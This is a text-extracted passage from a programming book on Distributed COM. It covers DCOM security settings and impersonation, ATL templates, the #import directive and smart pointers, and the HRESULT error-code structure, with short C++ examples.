The system always uses the SID to represent a user instead of a user name. What is a Security ID?................ Authentication 237 Additonal Information and Updates: http://www.iftech.com/dcom Windows 95/98 doesn’t have the user level security features to control the launch of an object. Because of this limitation, Windows 95/98 doesn’t even try to launch remote applications. This means that the server must already be running on a Win- dows 95/98 system. You can pre-start the server application interactively. This will run the server as the desktop user. The remote object can then connect to the object. Unfortunately, when the remote user disconnects, if it is the only connected client Windows 95/98 will shut down the server. The next time the remote user tries to con- nect, they will get an error because the server won’t re-start itself. The work-around is pretty simple. You can write a bare- bones client that connects to the server locally from the Win- dows 95/98 computer. As long as this client is connected, the server will have an active reference count and will remain avail- able. You can put this program in the startup menu, thus making the server available as long as somebody is logged into the desk- top. Windows NT has no such restrictions. Authentication Authentication means confirming that the client or server are who they claim to be. The subsystem that provides authentica- tion is known as the "authentication-service" provider. There are several authentication services. The default on Windows NT is NT LAN Manager Security Support Provider (NTLMSSP). Another is the DCE authentication service, which is based on the Ker- beros standard. Impersonation Impersonation occurs when a server assumes the identity of its caller. Although this seems a bit odd at first, it considerably sim- plifies security issues. 238 Chapter 14 • Distributed COM Normally when the server is started, it must log in with a specific username. There are three possibilities: 1. The user who started the server (launching user). 2. The user who is currently logged into the desktop. 3. A specially designated user. The default is the launching user. For most servers, this makes sense. The server assumes all the privileges of its creator, and thus only has access to what it’s supposed to. For servers that have multiple connected users, this approach doesn’t work very well. Each of the users may have different security access privileges and needs. If you specify that the server uses a specific user, this also can cause problems. You must ensure that the server’s account has access to everything it needs. More importantly, you must ensure it does not provide access to things it shouldn’t. Impersonation allows the server to temporarily assume the identity of the calling client. This way, it uses the Security ID of the client to access the system. Once the client’s operation is complete, it reverts back to its original account. When the next client makes a request, it assumes the Security context of that cli- ent also. Impersonation allows the best of both worlds in terms of security. The benefits for a server are quite clear. The client, how- ever, must be careful about impersonation. By impersonation, the server can gain access to resources that it normally couldn’t. A server can impersonate a more privileged client and perform operations from which it would normally be blocked. This is a much more subtle security issue. Most of the time we are con- cerned about protecting the server from the client. Identity DCOM allows you to designate that a server runs as a specific user. Often this is an excellent way to control a server’s security access. By running as a user with specific privileges, you can control its access. Custom Security 239 Additonal Information and Updates: http://www.iftech.com/dcom Windows NT services default to a special account called "LocalSystem", which has unlimited privileges on the local machine but no network access privileges. If the server does not make use of some form of impersonation, it won’t have access to network resources. Custom Security Regardless of all the levels of DCOM security, you may want to implement your own. There are numerous ways to implement custom security. Usually this would involve a username and password to access the server. CoInitializeSecurity The CoInitializeSecurity() function sets the default security values for a process. It can be used on both the client and server appli- cation. This function is invoked once per process; you don’t need to call it for each thread. By process, we mean an applica- tion program, either a client or COM server. It should be invoked right after CoInitialize(), and before any interfaces are used. If you don’t call CoInitializeSecurity(), it will be automati- cally invoked by COM. It will be called with the defaults set by DCOMCNFG. The security settings invoked here will override any defined in the registry AppID key. This function has quite a few parameters. Some apply to COM clients, others to servers. Several of these parameters deserve an entire chapter unto themselves. HRESULT CoInitializeSecurity( PSECURITY_DESCRIPTOR pVoid, DWORD cAuthSvc, SOLE_AUTHENTICATION_SERVICE * asAuthSvc, void * pReserved1, DWORD dwAuthnLevel, DWORD dwImpLevel, RPC_AUTH_IDENTITY_HANDLE pAuthInfo, 240 Chapter 14 • Distributed COM DWORD dwCapabilities, void * pvReserved2); Security descriptors are only used on Windows NT. A secu- rity descriptor is a structure that contains the security information associated with an object. If NULL is specified, no security (ACL) checking is done. The next two parameters concern authentication. Authenti- cation is the service used to determine if incoming COM mes- sages are from a known source. There are several authentication packages, including the NT LAN Manager, and Kerberos. These services are automatically handled by RPCs. Parameter Used on Description pVoid both Points to security descriptor. This parameter is only used on Windows NT. This descriptor is a structure that contains the security information associated with an object. If NULL, no security (ACL) checking is done. cAuthSvc server Count of entries in asAuthSvc. A value of -1 tells COM to choose which authentication services to register. asAuthSvc server Array of SOLE_AUTHENTICATION_SERVICE structures. pReserved1 Not used. dwAuthnLevel proxies The default authentication level. dwImpLevel proxies The default impersonation level. pAuthInfo Reserved; must be set to NULL dwCapabilities both Additional client and/or server-side capabilities pvReserved2 Reserved for future use Table 14.1 CoInitializeSecurity parameters CoInitializeSecurity 241 Additonal Information and Updates: http://www.iftech.com/dcom The default authentication level is specified for the proxy. The server will reject calls made at a lower authentication level. There hare several possible values, each providing a more com- prehensive level of checking. These constants are defined in <RPCDCE.H>. Passing in a value of RPC_C_AUTHN_NONE pro- vides a decent default. Impersonation allows one process to assume the identity and credentials of another. In this case, the impersonation level determines how much the client trusts the server. The dwCapabilities flags are used to determine further capa- bilities of the proxy. These are defined in the EOLE_AUTHENTICATION_CAPABILITIES enumeration in <OBJIDL.IDL>. If you are somewhat bewildered by all the parameters on the CoInitializeSecurity() call, here are some very perfunctory default values. hr = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_NONE, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, Impersonation Level Description RPC_C_IMP_LEVEL_ANONYMOUS The server object cannot get security information about the client. RPC_C_IMP_LEVEL_IDENTIFY The server can get security information, but cannot impersonate the client. RPC_C_IMP_LEVEL_IMPERSONATE The server can use the client’s security credentials for local operations. Repre- sents a high level of trust. RPC_C_IMP_LEVEL_DELEGATE The server can use the client’s security credentials for network operations. This level is not supported by many authenti- cation services. Table 14.2 Impersonation Levels 242 Chapter 14 • Distributed COM EOAC_NONE, NULL); Basically, these settings leave security pretty wide open. If you have real security concerns, you are going to have to research these issues thoroughly and set up acceptable values. Disconnection One of the insidious characteristics of networks is that they are fragile. You can expect your client and server to be disconnected for any number of reasons. Perhaps the network had an error, or the server was rebooted, or the client computer crashes. What- ever the cause, your applications have to clean up the results. Another name for this cleanup is "Garbage Collection." COM implements some simple garbage collection on the COM object level. A COM server is able to detect when clients have been dis- connected. Normally, a client will disconnect gracefully from its server, shutting down its connection in an orderly way. You need to be aware of what happens when it doesn’t. Let’s examine how a cli- ent and server would handle a disconnection. For the client program, a disconnection is pretty obvious. The client will make a COM call, and the call will return with an error. Chances are that your client will be inclined to crash in one form or another. Whatever the error, the client will have to handle shutting itself down. Unfortunately, the client won’t see the disconnection until it tries a COM call. In many applications, the program may run for some time before it uses COM. One solution to this is to write a "heartbeat" function that checks the server connection periodi- cally. The server has a different problem: it will never know about the disconnection. Because all COM applications are driven by the client, the server is always waiting for a request. If the client is disconnected, it will stop making requests and the server will remain connected. Using the Registry for Remote Connections 243 Additonal Information and Updates: http://www.iftech.com/dcom If you’re ambitious, you can write a server-to-client heart- beat check with a callback. The server would periodically call the client’s callback to see if it is alive. Fortunately, in most cases this isn’t necessary. COM implements a type of heartbeat called "Delta Pinging." The "Ping" part of this is obvious. The RPC layer of COM will send out a ping message from client to server every two minutes. A ping is just a small packet of information that indicates the cli- ent is connected. If the server fails to get three consecutive ping messages, it disconnects the client and cleans up its outstanding connections. This means it usually takes about seven minutes for a broken client connection to be cleaned up. This is automatic behavior, and you don’t have much control over it. One place for the server to check for a disconnection is in the COM object’s destructor. When the COM object is discon- nected, its destructor will eventually be called. You can handle custom object cleanup in this code. Because network operations can be expensive, COM tries to be very efficient about its ping messages. These ping messages are piggybacked onto existing COM calls if possible. This elimi- nates unnecessary message traffic for active connections. RPCs also combine all pings from a server before sending them. This means that only one ping message will be sent from one client to its server, even if the client has multiple COM objects. These groups of ping messages are called "ping sets." Using the Registry for Remote Connections We’ve covered some of the programming differences between COM and DCOM. There is another way to connect to remote servers by using registry settings. This is a somewhat crude method, but it is useful when working on legacy applications. For most cases adding remote capabilities to the C++ modules will give more control. The easiest way to do this is through DCOMCNFG. Select the properties of your COM object and select the "Location" tab. 244 Chapter 14 • Distributed COM Using this utility, you can specify the name of a remote com- puter. Installing the Server on a Remote Computer If you want your server to run on the remote computer, you’ll need to install it. All you have to do is copy the program (EXE) to the remote computer and register it. Use the -Regserver com- mand. If you have a proxy/stub DLL, you will also have to regis- ter that. Use REGSVR32 to register the proxy/stub DLL. If your server is running Windows 95, be sure DCOM is installed. On NT DCOM installs as part of the operating system, but in Windows 95 it is a separate step. F I F T E E N 15 ATL and Compiler Support COM itself is simple, but for some reason writing COM applica- tions always turns out to be harder than you expected. The demon of that plagues COM is complexity. The only way to tame this complexity is with good programming tools. If you're work- ing with COM, you have three choices: 1. Write C++ SDK programs 2. Use MFC and it's OLE infrastructure 3. Use ATL C++ SDK Programming You can write perfectly good COM programs with native C++ and a few of the COM SDK routines. There's just one problem: it takes forever. Most of COM programming is repetitive boilerplate code. In any case, for anything but client programs, it's going to be a lot of work. It's a perfect application for a class or template library. You might as well use MFC or ATL. 246 Chapter 15 • ATL and Compiler Support MFC COM MFC offers a viable way to implement COM. Traditionally COM was a substrate of OLE. OLE brings along with it quite a bit of baggage. MFC is designed for writing User Interface programs. MFC offers many powerful features for User Interface programs. Most people writing C++ programs end up using MFC. Unfortu- nately, the GUI concentration means that MFC isn't a great fit for the server side of COM programming. When you use the MFC wizards built into Visual C++, you get a great framework on which to base your application. The wizards hide the big problem with MFC, which is also complex- ity. If you've every tried to do non-standard things with the MFC framework, you quickly find yourself in a morass of unfamiliar and unfriendly code. The other problem with MFC is size. It's huge. Including MFC in a non-User Interface program adds a lot of overhead. Of course, this isn't always a problem. If your application is already using MFC, linking in the MFC DLL isn't a burden. Here is a quick summary of the challenges you'll face with MFC • MFC is large and complex. • MFC does not easily support dual interfaces. • MFC does not support free threading. Thread safety is a problem with MFC. As we saw in Chapter 4, creating a COM client with MFC is straightforward. For COM servers, ATL is the way to go. ATL - The Choice for Servers ATL is currently the best choice for developing COM servers. The ATL wizards provided with Visual C++ offer an extremely attrac- tive way to develop server applications. Almost all the server examples in this book use the ATL wizards. Currently there is no tool for COM server development that comes close to ATL. Basic Templates 247 Additonal Information and Updates: http://www.iftech.com/dcom In addition, ATL supports all threading models. If you want the advantages of free threading you'll probably need to use ATL. Dual Interfaces are another extremely useful feature. With ATL, creating dual interfaces is very easy - it's just a matter of clicking a button in the wizard. Finally, ATL offers a very small memory footprint. Because ATL is a template library, you aren't linking in a big DLL or library. The ATL templates work with the compiler to generate only the code you need. That doesn't mean you can't use MFC also. On the simplest level, you can include MFC as a shared DLL, and include the AFX headers in the ATL server. If you want to develop CWinApp- based applications it will take some more work. You'll have to include the standard MFC InitInstance and ExitInstance methods and integrate them with the standard ATL _Module (CComMod- ule). What's the down side? No question about it - lack of docu- mentation. ATL is a new product, and there's just not that much information published about it. Fortunately this is rapidly chang- ing. Every month, more is being written about this excellent library. Basic Templates If you've worked with templates, ATL will make perfect sense. If you've used the standard template library (STL), you'll be right at home. If not, your initial reaction will probably be one of bewil- derment. For most C++ programmers templates seem somewhat unnatural, Templates are a very specialized form of macro with type checking. The 'C' and C++ macro pre-processor allows you do some powerful and sophisticated text substitutions. Unfortu- nately, macros can be quite cryptic, and worse, they introduce difficult errors into programs. Many of these errors are the result of data type mismatches. Given these difficulties, many C++ pro- grammers cringe whenever they see macros in their source code. 248 Chapter 15 • ATL and Compiler Support Templates use the same text-substitution technology as mac- ros, but add some extra syntax for type checking. Templates have a more structured environment than traditional pre-proces- sor macros. This eliminates a lot of, but not all of, the problems. Templates can still be extremely cryptic, and debugging them can be difficult. A Simple Template Example Take a standard piece of code that swaps two integer values. It's a piece of code that we've all written at one time or another: void swap( int &a, int &b ) { int itemp = a; a = b; b = itemp; } Here's the call to swap. int a=1; int b=2; swap( a, b ); This piece of code works only for integers. If we were to pass in a double, we'd get a compiler error. You would have to rewrite the function to take a double & instead of an int &. How would you write this piece of code generically? One easy method would be to use a macro. #define SWAP( t, a, b ) {\ t temp; \ temp = a; \ a = b; \ b = temp; \ } Basic Templates 249 Additonal Information and Updates: http://www.iftech.com/dcom Calling this macro would take three parameters; the first one would be the data type. double d1 = 1.1; double d2 = 2.2; SWAP( double, d1, d2 ); Calling this macro would work with either an int or a dou- ble, depending on what we passed in. Actually, this isn't a bad way to write this piece of code. Unfortunately, there's not any type checking going on. That means when you pass in incom- patible data types, the compiler will give you very misleading error message, or worse - no error message at all. Another problem is the ugly syntax. The macro pre-proces- sor wasn't designed to write functions and programs. The #define syntax is difficult to write; it's especially unpleasant to remember all the backslashes. Templates offer a more type-safe method of doing the same thing. Here's how we'd write the swap routine as a template: template <class T> void Swap( T & a, T & b ) { T temp = a; a = b; b = temp; } In templates, the variable "T" usually stands for the substi- tuted data type. We can call Swap with almost any data type: int i1, i2; CString cs1,cs2; CmyDataType md1, md2; Swap( i1, i2 ); Swap( cs1, cs2); Swap( md1, md2 ); The best part of this template is that the compiler will actu- ally give you a meaningful message if you get it wrong. If the 250 Chapter 15 • ATL and Compiler Support types aren't compatible, the compiler will give you an error mes- sage. We should note that the template definition is readable code. The angle brackets do take some adjustment. Template Classes Template functions are actually one of the simpler things we can do with templates. The real power of ATL comes in defining classes. ATL makes heavy use of template classes. The syntax of defining a class template is very similar to the function template above. template <class T> class PrintClass { public: T m_data; public: void Set( T a ) { m_data = a; }; void Print() { cout << m_data << "\n"; }; }; We can use the class with any data type that is compatible with "cout". This is a trivial example, but you can begin to see the potential of templates. PrintClass<int> x; x.Set( 101 ); x.Print(); One of the characteristics of ATL is multiple inheritance. Most ATL COM classes created by the ATL class wizard are built around multiple inheritance. Here's one of the headers generated by the ATL wizard. class ATL_NO_VTABLE CBasicTypes : public CComObjectRootEx<CComSingleThreadModel>, public CComCoClass<CBasicTypes, &CLSID_BasicTypes>, public IBasicTypes Basic Templates 251 Additonal Information and Updates: http://www.iftech.com/dcom Notice that this coclass is implemented by the ATL templates CComObjectRootEx and CComCoClass. The CComObjectRootEx template handles reference counting for the COM object, CCom- CoClass implements the COM class factory. The third inherited class, IBasicTypes, is an interface, which is a plain C++ base class (with a COM VTABLE layout) Template code can get extremely ugly. Because of its terse- ness, template code is hard to follow. Take the following exam- ple: typedef CComObject<CComEnum<IEnumString, &IID_IEnumString, LPOLESTR, _Copy<LPOLESTR> > > IEnumObject; IEnumObject* pNewEnum = NULL; This looks like an entry in the obfuscated C++ code contest - templates nested three deep! This example declares an ATL enumeration interface. (The three template classes here are CCo- mObject<>, CComEnum<>, and _Copy<>.) There are several interesting things going on here. A pecu- liar aspect of templates is how they handle typedef statements. No code is generated until an actual object is declared. Another oddity is the placement of angle brackets. The critical difference here is between ">>" and "> >". The former is the stream opera- tor, the latter is the end of a nested template definition. If you forget the space between angle brackets, you'll get some inter- esting compiler errors. The fundamental ATL classes include: 252 Chapter 15 • ATL and Compiler Support ATL Class Template Argument Description CComObjectRoot Your class. Implements the methods of IUn- known. This class gives you Que- ryInterface, AddRef, and Release. Works for non-aggregated classes. Uses single threading model. CComObjectRootEx ThreadModel. Use one of the threading model classes. Handles the reference counting for the object. ATL objects must be based on CComObjectRoot or CComObjectRootEx. CComCoClass Your Class and a pointer to the CLSID to the object. Defines the object's default class factory and aggregation model. CComSingleThread- Model, CComMultiThread- Model Single and multi-treading mod- els. IDispatchImpl Your class, the IID, and LIBID. IDispatch implementation for dual interfaces. CComPtr Interface Implements a smart pointer to manage an interface. CComQIPtr Interface, IID of inter- face Implements a smart pointer to manage an interface. Allows que- rying of interfaces. CComAggObject Contained class Implements IUnknown for an aggregated object. Table 15.1 Fundamental ATL Classes Native Compiler Directives 253 Additonal Information and Updates: http://www.iftech.com/dcom Native Compiler Directives One of the most important recent changes to COM was the addi- tion of native Visual C++ compiler directives. By native, we mean that these commands can be included directly into your C++ source code, and the compiler will recognize them. This native support is oriented towards the client program. This is an interesting step towards making COM programming a lot easier. The #IMPORT Directive The import statement allows the compiler and pre-processor to use a type library to resolve certain types of COM references. This information is converted into C++, making it easily available to the application. Type libraries have a tremendous amount of useful COM information in them. This includes Class Identifiers (CLSID), Interface ID's, and especially interface definitions. Traditionally the only way to get this information was through include files. MIDL generates the C++ headers for these definitions, but you have to locate and include the proper head- ers. While not especially difficult, this step is tedious and prone to failure when header files are moved or changed. As useful as these changes are, they aren't really anything new. Many languages that support COM have had this feature for years. Visual Basic has a component browser that does much the same thing. //#import "filename" [attributes] #import <test.lib> no_namespace The syntax is quite simple. There are however, quite a num- ber of attributes for the import statement. The only one you'll commonly see is "no_namespace". We'll discuss namespaces shortly. Like the C++ include statement, the #import directive can use either angle brackets "< >" or double quotes. Like the include statement, the choice affects the search order of directo- ries for the type library. Angle brackets will search the "PATH" and "LIB" environment variables first, and lastly check the com- 254 Chapter 15 • ATL and Compiler Support piler include path option ("/I"). Double quotes will search the current directory first, followed by the paths shown above. Type libraries aren't the only way to get this type informa- tion. EXE and DLL files can also contain type libraries. You can also specify these types of file in the import directive. Namespace Declarations Name spaces in C++ are used to prevent name conflicts with variables, types, and functions. By default, the import directive puts all its generated code in a C++ "namespace." The namespace used is based on the type library name. If the typeli- brary was "TEST.TLB" the namespace would be "TESTLib". To use data declared in a namespace, you have to prefix everything with the namespace name. Here's an example of a simple namespace. namespace MySpace { typedef int SPECIAL; } MySpace::SPECIAL x; If you leave off the "no_namespace" attribute for the import statement, you'll have to prefix all the import generated declara- tions with a namespace. One of the things the import statement does is define "smart pointers" for all of the interfaces in the library. If we create an enumeration in MIDL called RGB_ENUM, we would have access to it through the import statement. Our client program could refer to this enumeration, but it would have to prefix it with the type library namespace. #import "TEST.TLB" // The compiler will give an error here: RGB_ENUM BadRgbEnum; // This works. TESTLib::RGB_ENUM RgbVal; Native Compiler Directives 255 Additonal Information and Updates: http://www.iftech.com/dcom If you don't want to mess with namespaces, you import with the "no_namespace" attribute. This allows you to use the MIDL names directly. Of course if the type library you import has name collisions with your program, you'll have to use the name spaces. Smart Interface Pointers In the 1956 science fiction classic "Invasion of the body-snatch- ers", aliens replace everybody in a small town with substitutes that are grown in giant green seed-pods. These replacement people look the same, talk the same, and act the same as the originals, but they are strangely different - they are loveless, emotionless automatons. The plot of this movie reminds me of smart pointers. Smart pointers are helper classes that manage interfaces automatically. A smart pointer 'takes over' a COM interface, replacing its behavior with some subtle, but different actions. The main advantage of smart pointers is that they handle the COM creation, reference counting, and releasing automatically. With smart pointers, COM interfaces act a lot more like normal C++ pointers. Before we get much farther, we should look at the down- side of smart pointers. The most significant one is that they don't handle remote access. Smart pointers use CoCreateInstance, instead of the more powerful CoCreateInstanceEx method. There is no way to pass a smart pointer the COSERVERINFO structure, which contains the remote computer name. If your going to use a remote system, you'll have to specify the remote computer using DCOMCNFG. The other common problem with smart pointers is related to program scope. The smart pointer constructor and destructor create and destroy the actual COM interface. This means you've got to be careful about the scope of the pointer. Another issue is error handling. When a smart pointer gets a COM error, it throws an exception. This means you'll have to program with try/catch blocks. In terms of program overhead, 256 Chapter 15 • ATL and Compiler Support smart pointers are quite efficient. You shouldn't see a significant performance hit from using them. Smart Pointer Classes There are several classes of smart pointers in Visual C++. The first group of classes come from ATL, and are called CComPtr<> and CComQIPtr<>. These classes don't offer big advantages over standard COM interfaces. If you are using the #import directive, you have access to a more powerful type of smart pointer. These pointers are based on _com_ptr_t. Much of the power of these objects is in their constructor. When you create a _com_ptr_t with either new or a declaration, it can actually connect to a COM object. This means the constructor is calling CoCreateInstance and managing the resultant interface. Here's a typical use of a _com_ptr_t object. This smart pointer is bound to a specific interface - IBasicTypes. The type IBasicTypesPtr is a smart pointer. It is automatically declared by the #import directive. This is done with a macro _COM_SMARTPTR_TYPEDEF, which creates a typedef with the interface name + "Ptr". The definition translates into something similar to the fol- lowing typedef. typedef _com_ptr_t<__uuidof(IBasicTypes) > IBasic- TypesPtr; Surprise, _com_ptr_t is a template! The __uuidof() macro retrieves the GUID of the IBasicTypes interface. Here's how we use the class: IBasicTypesPtr pI( _T("BasicTypes.BasicTypes.1") ); long l1=1; long l2=0; pI->LongTest( l1, &l2 ); Native Compiler Directives 257 Additonal Information and Updates: http://www.iftech.com/dcom You'll immediately notice the missing steps: there is no CoCreateInstance() and no Release() called, and no HRESULT returned. Actually, all the usual things are going on, but they are hidden in the smart pointer class. First, the CLSIDFromString() is called to translate the CLSID (or ProgID) into a GUID. If the CLSID is valid, the smart pointer calls CoCreateInstance and obtains an interface pointer. The returned interface is saved internally and used whenever it is required. Watch Out for Destructors Smart pointers are wonderful things, but they also present some problems. You've got to be careful about the scope of smart pointers. When you declare them as we did above, smart point- ers are created on the stack. This means that a pointer’s lifetime will be only within the braces {} in which it was declared. This might be inside a function, or inside an if block. Remember that the smart pointer destructor will be called when it goes out of scope. By default, the destructor of a smart pointer automatically calls Release(). This can cause several problems. When you destroy the last reference to the COM object, the COM server may shutdown. This means that the next COM call may have to restart the server - this can be quite slow for an out-of-process server. Here's a piece of code that will cause problems: void main() { CoInitialize(0); IBeepPtr pBadPtr( _T("Beep.Beep.1") ); pBadPtr->Beep(); CoUninitialize(); // crash on exit } The problem here is that CoUninitialize() is called before the destructor to the smart pointer. You'll get an un-handled exception from this code. The smart pointer calls Release() on its 258 Chapter 15 • ATL and Compiler Support destructor, but COM has already been shut down by CoUninitial- ize(). There is a relatively simple work-around. Declare the smart pointer inside a set of braces. This will ensure that the pointer is destroyed before CoUninitialize(); void main() { CoInitialize(0); { IBeepPtr pBadPtr( _T("Beep.Beep.1") ); pBadPtr->Beep(); } CoUninitialize(); // no problem } This is lousy code for several other reasons. The main prob- lem is that it has no error checking. If the "Beep.Beep.1" inter- face isn't registered, the declaration of the smart pointer will throw an exception. There is no try/catch block; it will fail with an uncaught exception. The next section describes how to catch errors thrown by a smart pointer. Smart Pointer Error Handling Many smart pointer operations don't return an HRESULT. Obvi- ously, they need some sort of error checking. They get around this by throwing an exception whenever they get an error HRESULT. The _com_ptr_t class calls _com_issue_error when- ever it encounters an error. _com_issue_error constructs a _com_error object with the HRESULT and throws it. Here's the code of the _com_ptr_t implementation of AddRef(). void AddRef() { if (m_pInterface == NULL) { _com_issue_error(E_POINTER); } m_pInterface->AddRef(); } Native Compiler Directives 259 Additonal Information and Updates: http://www.iftech.com/dcom AddRef needs a valid interface pointer. If the member inter- face pointer is NULL, it calls _com_issue_error with the HRESULT of E_POINTER. You can also see that the implementation of smart pointers isn't especially complicated. To catch the _com_error, you need to include all smart pointer objects with a try-catch block. try { IBasicTypesPtr pI( _T("BadCLSID.BadCLSID.1") ); PI->SomeMethod(); } catch (_com_error e) { // handle the error } All the code you write with smart pointers will need try- catch blocks. The _com_error class provides a nice encapsulation of HRESULTs and common error handling functions. You can retrieve the raw HRESULT code by calling Error. catch( _com_error e ) { cout << "HRESULT = " << e.Error() << endl; cout << "ErrorMessage() = " << e.ErrorMessage() << endl; } The ErrorMessage method takes the place of the Format- String API. The ErrorMessage method of _com_error handles the creation of the printable error string. It also automatically deletes the message buffer when it's done. FormatString is a very trou- blesome function. It has numerous complex arguments. The other problem with FormatString is that it allocates a string buffer that must be explicitly released with LocalFree(). 260 Chapter 15 • ATL and Compiler Support How the IMPORT Directive Works You've probably been wondering how the import directive accomplishes all the things it does. It includes MIDL definitions in the C++ program, creates smart pointers, and it gives us the useful _com_error type. The way all this is accomplished is quite ingenious. The import directive creates two header files. These files are automatically created by retrieving information from the type library. The contents of these two files are included in the source as headers. Whenever the type library changes, the contents of these two headers is regenerated. The first type of file is a typelib header, or TLH. It includes the following sections: • The COMDEF.H header • MIDL structure, enum, coclass, and interface typedefs. • Smart pointer definitions for interfaces. • Interface wrapper declarations. • Interface raw declarations. • An #include of the TLI file. The other generated file is a typelib implementation file, and has the extension TLI. TLI files contain the implementation of smart pointer wrapper methods. Raw and Wrapper Methods When you call a method on a smart pointer, you're not directly calling a COM method. The smart pointer has a wrapper method for each of the interfaces methods. When you call the wrapper method, you're calling a local non-COM method of the smart pointer class. The wrapper method will call the raw COM method directly, and check the HRESULT returned. Here's the definition of an actual wrapper class method. The wrapper class is IBasicTypes. This code comes from a TLI file. inline HRESULT IBasicTypes::LongTest ( long l, long * pl ) { Summary 261 Additonal Information and Updates: http://www.iftech.com/dcom HRESULT _hr = raw_LongTest(l, pl); if (FAILED(_hr)) _com_issue_errorex(_hr, this, __uuidof(this)); return _hr; } As you can see, the wrapper class just calls the raw COM interface. In this example, raw_LongTest() is an actual COM method. The preceding "raw" was automatically appended to the method by the compiler when it created the smart pointer. The raw method will return a normal HRESULT code. If the HRESULT is an error, a _com_error object is created, and thrown as an exception. If you debug into a COM method of a client using the #import directive, you'll see a very similar piece of code. Summary We've examined some template basics, and looked at how ATL implements COM. Of course the purpose of ATL is to hide all this implementation. Unfortunately, when you start debugging, you'll quickly find yourself trying to understand the ATL code. The final section of this chapter examined the native com- piler directive #import. Import uses the type library to generate two header files that include extensive definitions. One of the most useful parts of the import directive is the use of smart pointers. Using smart pointers, we can simplify much of our cli- ent application. 262 Chapter 15 • ATL and Compiler Support S I X T E E N 16 Other Topics COM is full of concepts and techniques that aren't normally seen by programmers. This section attempts to deal with several of these. Most of these items are unrelated, but may be useful when you are working with COM applications. Errors We've already briefly discussed HRESULTS. Strangely enough, HRESULTS aren't handles, and they aren't results. An HRESULT is the 32-bit status code returned by almost all COM functions. Normally in C and C++, we write functions to return values. The atoi() function is typical; it returns an integer from a string. int x = atoi( "100" ); As C++ programmers, we're in the habit of returning mean- ingful values as function results. COM needs to do things a little differently. A COM method always should return an HRESULT. Here's how we would write the COM method for a hypothetical interface called ITest: 264 Chapter 16 • Other Topics int x; HRESULT hr = ITest->AtoI( &x, "100" ); In COM we can't guarantee that the method call will suc- ceed. Returning an HRESULT allows the client to receive out-of- band information. Typically, a client might receive notification that it has lost communication with the server. If this were the case, the integer result returned by ITest->AtoI() would be mean- ingless. The two most common HRESULTS are S_OK and E_FAILED. S_OK is defined as the number zero. When you test an HRESULT, you should use the predefined macros SUCCEEDED() and FAILED(). This is necessary because there are numerous suc- cess codes besides S_OK. Following is the standard method of checking COM errors. HRESULT hr; hr = CoCreateInstance(,,,…); if (SUCCEEDED(hr)) { … // continue processing } The HRESULT is segmented into several bit fields, each of which defines part of the status. 3 3 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 +---+-+-+-----------------------+-------------------------------+ |Sev|C|R| Facility | Code | +---+-+-+-----------------------+-------------------------------+ The meaning of these bits are as follows Bits Description 0-15 Information Code. Describes the specific error. 16-27 Facility Code. The subsystem that created the error. 28 Customer code flag. (not commonly used) 29 Reserved bit. 30-31 Severity Code. Table 16.1 HRESULT bit fields Errors 265 Additonal Information and Updates: http://www.iftech.com/dcom Information Code This part of the error status defines the specific message. The code can be extracted with the macro HRESULT_CODE(), which applies a bit-mask to the HRESULT, returning only the code field. Facility Code Windows divides its error messages into groups, or facilities. The facility is the subsystem that created the error code. There are a number of standard facilities defined for windows. Each has a #define to identify it: There are several other less common facilities defined in WINERROR.H. Facility Description Value FACILITY_WIN32 General Windows error codes. Generally these were returned by the Windows API. 7 FACILITY_RPC Codes returned by the RPC services. These generally indicate a communications prob- lem. 1 FACILITY_DISPATCH Errors generated by Idispatch interfaces. 2 FACILITY_STORAGE Errors from structured storage. Generally the IStorage and IStream intefaces. 3 FACILITY_ITF Interface dependent error codes. Each inter- face may define it's own codes. 4 FACILITY_SSPI Security Support Provider Interface (SSPI). Generally related to authentication and security. 9 FACILITY_WINDOWS Error codes from Microsoft defined inter- faces. 8 FACILITY_NULL General codes, such as S_OK. 0 Table 16.2 HRESULT Facility Codes 266 Chapter 16 • Other Topics Customer Code Flag and Reserved bits You probably won't see much of either of these. The customer code is designed to allow interfaces to use their own specific set of errors. The reserved flag is just that, reserved for use by Microsoft. Severity Code The most significant two bits of the HRESULT represent the severity of the message. The severity code can be extracted with the HRESULT_SEVERITY() macro. In general, whenever you see an HRESULT with a negative decimal value, it is an error. Looking Up HRESULTS Much of the information about HRESULTs can be found in the system header file WINERROR.H. It's worth your time to open and browse this header, it is often a good source of information on error codes. Most of the errors in this file are not COM errors. In general, HRESULTS are best viewed in hexadecimal. Many of the common error codes have the severity bit set, so they appear as large negative numbers in decimal. For example, the decimal number -2147221164 is much more readable as 0x80040154. Because the HRESULT is a combination of several fields, you won't always be able to find your specific error code in WINERROR.H. One of the more common errors, RPC_S_SERVER_UNAVAILABLE, isn't in WINERROR.H. If you look it up, you'll find it mapped to the decimal number 1722. Severity Description 0 Success. 1 Information. Just an informational message, 2 Warning. An error that requires attention. 3 Error. An error occurred. Table 16.3 HRESULT Severity Codes Displaying Error Messages 267 Additonal Information and Updates: http://www.iftech.com/dcom This number is only the information code. The code returned by CoCreateInstance is 0x800706ba. This number is composed of several bit fields, it breaks down into the following: 0x10000000 + SEVERITY_WARNING 0x00070000 + FACILITY_RPC 0x000006ba + SERVER_UNAVAILABLE (1722L) ------------------------------------- 0x800706ba = RPC_S_SERVER_UNAVAILABLE SCODES The SCODE is a holdover from 16-bit windows. On Win32, the SCODE is defined as a 32-bit DWORD value. They are the pro- genitor of the HRESULT, so there are many similarities. Although interchangeable on Win32, you should use HRESULTS. If you see the term SCODE, you're probably working with code that was ported from Windows 3.1. Displaying Error Messages We've shown how to interpret and find error codes using the <WINERROR.h> header. Obviously, there are easier ways to get this information. Perhaps the most accessible method is to run "Error Lookup" application included in the Developers Studio. (Under the TOOLS menu.) This is OK for debugging, but you can also generate the text of the error messages interactively. Using the _com_error class is by far the easiest way to dis- play error messages. You can construct a _com_error object with your HRESULT and call the ErrorMessage message to get a string. #include <comdef.h> HRESULT hr = S_OK; _com_error e(hr); cout << e.ErrorMessage() << endl; 268 Chapter 16 • Other Topics You need to include the file <comdef.h> to get the _com_error definition. Using FormatMessage The FormatMessage function can be used to look up the text of the message. Specifying FORMAT_MESSAGE_FROM_SYSTEM tells the function to look up the HRESULT in the system message tables. char *pMsgBuf = NULL; // build message string ::FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | 